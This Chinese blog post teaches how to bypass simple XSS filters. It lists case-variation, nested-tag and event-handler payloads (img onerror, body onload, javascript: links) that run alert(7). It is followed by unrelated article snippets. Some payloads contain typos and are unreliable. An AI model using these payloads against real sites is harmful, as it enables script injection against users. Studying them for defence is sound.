XSS的简单过滤和绕过

程序猿用一些函数将构成xss代码的一些关键字符给过滤了。但是,道高一尺魔高一丈,虽然过滤了,还是可以尝试进行过滤绕过,以达到XSS攻击的目的。

最简单的是输入<script> alert(7)</script> 弹出7

 

一:区分大小写过滤标签

可以使用大小写绕过 <scripT>alert(7)</scripT>

二:嵌套过滤标签

可以使用嵌套的script标签绕过<scr<script>ipt>alert(7)</scr</script>ipt>

三:除了<script>标签,还可以通过img、body等标签注入恶意js代码。

如 <img src=1 onerror=alert(7)>

<img src=1 onlick=alert(7)>

<img src=1 onmouseover=alert(7)> (鼠标移到上面就会触发)

<input scr=1 onfous="alert(7)">

<a href="javascript:alert(7)">

<object data="javascript:alert(/7/)">

<body onload=alert(7)>

XSS的简单过滤和绕过的更多相关文章

  1. XSS平台简单使用

    XSS常用语句及编码绕过 XSS常用的测试语句有: <script>alert(1)</script> <img src=x onerror=alert(1)> & ...

  2. jQuery简单过滤选择器

    <html xmlns="http://www.w3.org/1999/xhtml"> <head>     <!--jQuery选择器详解 根据所获 ...

  3. PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)

    废话不多说,直接贴使用方法和代码: 使用方式:1)写在公共方法里面,随时调用即可.2)写入类文件,使用是include_once 即可 代码: /* 进行安全字段和xss跨站脚本攻击过滤(通用版) - ...

  4. xss利用——BeEF#stage3(绕过同源策略与浏览器代理)

    绕过同源策略 正式进入攻击阶段.因为SOP(同源策略)的存在,BeEF只能对被勾子钩住的页面所在域进行操作.如果有办法绕过SOP,那么无疑会使攻击面放大. 绕过SOP可从两方面入手.第一个是从浏览器本 ...

  5. XSS攻击简单介绍

    之前由我负责维护的一个项目被检测出存在可能被XSS攻击的漏洞. 吓得我赶紧恶补了下XSS. XSS,全称为Cross Site Script,跨站脚本攻击,是WEB程序中一种常见的漏洞.其主要的攻击手 ...

  6. nginx里的变量,实现简单过滤。

    1,nginx内置变量 nginx 有很多内置变量可以进行简单的过滤. ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ...

  7. php防注入和XSS攻击通用过滤

    public function SafeFilter($arr){ $ra=Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/','/script/','/javas ...

  8. salesforce 零基础学习(四十四)实现checkbox列表简单过滤功能

    现在做的项目代码是原来其他公司做的,要在原来基础上业务进行适当调整加上一些CR,其中有一个需要调整的需求如下: 原来使用apex:selectCheckboxes封装了一个checkbox列表,因为数 ...

  9. jQuery 简单过滤选择器

    <!DOCTYPE HTML> <html> <head> <title> 使用jQuery基本过滤选择器 </title> <scr ...

随机推荐

  1. js 中dindexof()用法

    https://www.cnblogs.com/jiadi321/p/10174317.html http://www.w3school.com.cn/jsref/jsref_splice.asp

  2. 通过喝水清晰简单了解I/O五大模型

    一般单次I/O请求会分为两个阶段,每个阶段对于I/O的处理方式是不同的 I/O会经历一个等待资源的阶段 阻塞,指的是在数据不可用时,I/O请求会一直阻塞,直到数据返回 数据不可用时,立即返回,直到被通 ...

  3. Codeforces 1213F Unstable String Sort

    cf题面 中文题意 求一个由最多26个.最少k个小写字母构成的,长度为n的字符串,这个字符串要满足的要求是--当其中字母按照p和q两个\(1\)~\(n\)的全排列重新排序时,新的字符串是按照升序排好 ...

  4. sql in条件 超过1000字符的处理方法

    private string getOracleSQLIn(string[] ids, string field) { int count = Math.Min(ids.Length, 1000); ...

  5. 翻译一篇英文文章,主要是给自己看的——在ASP.NET Core Web Api中如何刷新token

    原文地址 :https://www.blinkingcaret.com/2018/05/30/refresh-tokens-in-asp-net-core-web-api/ 先申明,本人英语太菜,每次 ...

  6. layui button按钮点击导致页面重新刷新的解决方案

    网友的解决方法:(我只想说,放屁!!!而且大家都在复制粘贴,浪费时间) 方法一:将button标签更换为input <input class="layui-btn test" ...

  7. JS框架_(JQuery.js)动画效果鼠标跟随

    百度云盘 传送门 密码 :4n9u 火狐浏览器上纯CSS_动画效果鼠标跟随效果: (作者:lily_lcj 传送门) <!DOCTYPE html PUBLIC "-//W3C//DT ...

  8. vue中axios的封装(注意这里面异步的概念和用法十分重要)

    todo https://www.cnblogs.com/chaoyuehedy/p/9931146.html

  9. python学习之路(19)

    匿名函数 当我们在传入函数时,有些时候,不需要显式地定义函数,直接传入匿名函数更方便. 在Python中,对匿名函数提供了有限支持.还是以map()函数为例,计算f(x)=x2时,除了定义一个f(x) ...

  10. [BZOJ2002][洛谷P3203][Hnoi2010]Bounce 弹飞绵羊(LCT维护链长)

    luogu传送门 2002: [Hnoi2010]Bounce 弹飞绵羊 Time Limit: 10 Sec  Memory Limit: 259 MBSubmit: 16082  Solved:  ...